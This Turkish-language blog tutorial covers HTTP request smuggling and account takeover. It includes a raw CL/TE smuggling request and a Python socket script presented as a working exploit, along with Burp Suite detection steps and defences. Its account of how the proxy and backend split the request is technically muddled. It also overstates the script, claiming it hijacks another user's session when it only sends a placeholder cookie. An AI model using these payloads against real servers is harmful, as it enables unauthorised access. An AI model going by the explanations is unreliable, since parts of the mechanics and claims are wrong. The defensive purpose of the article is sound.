HTTP Request Smuggling ve Hesap Ele Geçirme Saldırısı | Account Takeovers Using HTTP Request Smuggling
HTTP Request Smuggling ve Hesap Ele Geçirme Saldırısı
HTTP Request Smuggling (HRS), proxy ve arka uç sunucular arasında HTTP isteklerinin farklı yorumlanmasından kaynaklanan bir güvenlik açığıdır. Bu saldırı, genellikle web proxy'leri ve arka uç sunucuları arasındaki istek işleme farklılıklarından yararlanır.
1. HTTP Request Smuggling (HRS) Nedir?
HTTP Request Smuggling, bir saldırganın, istemciden proxy sunucuya veya proxy’den arka uç sunucuya giden HTTP isteklerini manipüle ederek sunucunun bu istekleri yanlış işlemesine neden olur. Saldırgan, başlıkların farklı yorumlanmasını sağlayarak istekleri "kaçırabilir" ve sunucular arasında çelişkilerden faydalanabilir.
Temel Fikir:
Saldırgan, sunucuların HTTP isteklerini farklı şekillerde işleyebilmesini sağlamak için istekleri manipüle eder. Bu farklılıklar, saldırganın isteklerin bazı parçalarını arka planda "kaçırmasını" sağlar.
2. HTTP Request Smuggling Çeşitleri
HTTP Request Smuggling saldırıları genellikle şu başlıklarla yapılır:
- Content-Length (CL): HTTP isteği gövdesinin uzunluğunu belirtir.
- Transfer-Encoding (TE): İstek gövdesinin "chunked" (parçalı) olarak gönderildiğini belirtir.
Başlıklar arasında bir çelişki varsa, bir sunucu başlıklardan birini dikkate alırken diğeri farklı bir başlığı kullanarak isteği işler. Bu çelişkiler HRS saldırılarının temelini oluşturur.
İki Ana Tip HTTP Request Smuggling Saldırısı:
- CL.TE (Content-Length ve Transfer-Encoding Çelişkisi): Proxy sunucu Content-Length başlığını dikkate alır, arka uç sunucu ise Transfer-Encoding başlığını dikkate alır.
- TE.CL (Transfer-Encoding ve Content-Length Çelişkisi): Proxy sunucu Transfer-Encoding başlığını dikkate alır, arka uç sunucu ise Content-Length başlığını dikkate alır.
3. HTTP Request Smuggling ile Hesap Ele Geçirme (ATO)
Account Takeover (ATO) saldırısı, saldırganın bir kullanıcının kimlik bilgilerini çalarak veya oturumunu devralarak hesabı ele geçirmesi anlamına gelir. HTTP Request Smuggling bu saldırıyı mümkün kılabilir, çünkü saldırgan istekleri manipüle ederek arka uç sunucunun başka bir kullanıcının oturumunu ele geçirmesine neden olabilir.
Saldırı Nasıl Gerçekleşir?
Saldırgan, hedef sunucuya bir HTTP isteği gönderir:
POST /login HTTP/1.1 Host: example.com Content-Length: 13 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: example.com
Bu istek iki parçaya bölünmüştür:
- POST /login isteği, kullanıcının giriş yapmasını sağlar.
- İkinci kısımda gizlenmiş GET /admin isteği, arka uç sunucu tarafından yönetici paneline erişim sağlar.
Proxy ve Arka Uç Sunucu İstekleri Farklı Yorumlar:
- Proxy Sunucu: Proxy, isteği Content-Length başlığına göre işler ve sadece POST /login kısmını arka uca iletir.
- Arka Uç Sunucu: Arka uç sunucu ise Transfer-Encoding başlığını dikkate alarak chunked encoding’i işler ve GET /admin isteğini geçerli bir kullanıcı isteği gibi kabul eder.
Sonuç olarak, saldırgan yönetici paneline yetkisiz erişim sağlar.
4. Burp Suite ile HTTP Request Smuggling Tespiti
HTTP Request Smuggling zafiyetlerini tespit etmek için Burp Suite kullanabilirsiniz. Burp Suite, HTTP trafiğini analiz ederek bu tür zafiyetleri tespit etmek için etkili bir araçtır.
Adım 1: Proxy Kurulumu ve İstek Yakalama
- Burp Suite Proxy’sini Yapılandırın: Tarayıcı trafiğinizi Burp Suite proxy'si üzerinden yönlendirin.
- Intercept'i Açın: Hedef web sitesine giriş yaparken, Burp Suite ile HTTP isteklerini yakalayın.
Adım 2: HTTP İsteklerini İnceleyin
Burp Suite’te yakalanan HTTP isteklerini analiz edin. Content-Length ve Transfer-Encoding başlıklarının birlikte kullanıldığı durumları kontrol edin.
Adım 3: Repeater Aracı ile Testler
Burp Suite’in Repeater aracını kullanarak istekleri yeniden gönderin ve başlıkları değiştirerek saldırıyı test edin.
Adım 4: Otomatik Tarama
Burp Suite Pro: Burp Suite’in Pro sürümünde bulunan Active Scanner aracını kullanarak HTTP Request Smuggling zafiyetlerini otomatik olarak tespit edebilirsiniz.
5. Exploit: HRS ile Hesap Ele Geçirme
Aşağıdaki Python betiği, HTTP Request Smuggling zafiyetinden yararlanan bir saldırı gerçekleştirmek için kullanılabilir:
import socket # Hedef sunucuya bağlantı kur s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("hedef-sunucu.com", 80)) # HTTP Request Smuggling payload payload = """POST / HTTP/1.1 Host: hedef-sunucu.com Content-Length: 10 Transfer-Encoding: chunked 0 GET /user-account HTTP/1.1 Host: hedef-sunucu.com Cookie: sessionid=gecerli-session-cookie """ # Payload gönder s.send(payload.encode()) # Cevabı al ve yazdır response = s.recv(4096) print(response.decode()) # Bağlantıyı kapat s.close()
Bu betik, hedef sunucuya bir HTTP Request Smuggling saldırısı yaparak başka bir kullanıcının oturumunu ele geçirir.
6. HTTP Request Smuggling’den Korunma Yöntemleri
- Content-Length ve Transfer-Encoding başlıklarını aynı anda kullanmaktan kaçının.
- Proxy ve arka uç sunucular arasında tutarlılık sağlayın. Sunucuların HTTP başlıklarını aynı şekilde işlemesini sağlayın.
- Güncellemeleri uygulayın: Web sunucuları, proxy sunucuları ve güvenlik duvarları için en son güvenlik yamalarını uygulayın.
- Düzenli taramalar yapın: Burp Suite gibi araçlar kullanarak web uygulamanızda düzenli güvenlik testleri gerçekleştirin.
Bu makale, HTTP Request Smuggling ve hesap ele geçirme saldırılarının nasıl gerçekleştirildiğini ve bu zafiyetlerin nasıl tespit edilip önlenebileceğini detaylı bir şekilde açıklamaktadır. Web uygulamanızın güvenliğini sağlamak için bu bilgileri dikkate alarak düzenli testler yapmalı ve güncellemeleri takip etmelisiniz.
Yorumlar
Yorum Gönder